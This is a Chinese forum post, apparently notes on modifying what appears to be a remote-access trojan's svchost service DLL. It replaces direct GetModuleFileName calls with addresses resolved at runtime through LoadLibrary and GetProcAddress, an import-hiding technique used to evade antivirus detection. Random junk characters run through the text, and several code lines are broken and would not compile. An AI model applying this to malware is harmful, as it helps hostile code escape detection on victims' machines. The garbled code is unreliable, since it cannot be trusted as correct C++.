[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
& K* U7 S( F/ `+ r: }svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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9 s* w: z& q% C' |DTDY.h：/ a- `3 V* ?" p/ U- \; b5 m
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#if _MSC_VER>1000/ \7 C7 K8 n: D
#pragma once
9 C2 G8 g  @7 \4 H" s& L#endif //_MSC_VER>1000( |  ^" p2 w* X: I4 [/ J2 t
#include<windows.h>
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5 w5 b! W* o6 e, itypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);) }( B% @6 V0 l0 @
class DTDY; v2 R( d4 v- J; e
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public:
8 ~5 K! {* f8 A2 p9 YDTDY();) N- J1 `0 y# b% L/ N3 |9 z2 m
virtual ~DTDY();
" V! B8 m) u$ V% A: M) dpublic:
7 m$ z2 y% ]4 Qstatic pGetModuleFileNameA MyGetModuleFileName;9 D9 \; {  N; q
static BOOL FunInitiallization();5 z( }# r* Z) u% F& M% t
};
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4 ^! h" S4 I6 a6 zDTDY.cpp:
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5 ^5 b) I# t/ \* c, `#include "DTDY.h"
, p6 O3 m1 g8 W; LpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
3 }8 r& B; a9 m3 }DTDY:TDY()8 Y1 L% `" f& Z( e5 W) b
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DTDY::~DTDY()% l7 ~+ e7 A$ [( T( Q5 `! o8 v
{
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BOOL DTDY::FunInitiallization(). q2 i+ H3 H0 }+ q
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HMODULE hModule=LoadLibrary("kernel32.dll");
- G/ |" M6 Y" t0 n: y: Z; M7 EMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
& w: D$ |6 M: b  G) y0 u. lif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:; W( B  u" F3 J5 z- Q$ v- O, u6 A
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#include "DTDY.h"  R2 F7 C+ c4 A# A6 b0 W
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:5 l: a* b; \( I& o
if(!DTDY::FunInitiallization()) return FALSE;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 z" R2 m; {; S3 a$ M
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KernelManager.cpp:  d+ J- J5 h* H# V3 O

6 r5 r5 L5 i6 c8 T2 E9 z" l' _- B#include "../DTDY.h"
% g5 n; L1 E- U0 j& yGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 E, p5 M- }) O/ X0 P/ L
改写为& t, ~- N8 t: C- k. T, }
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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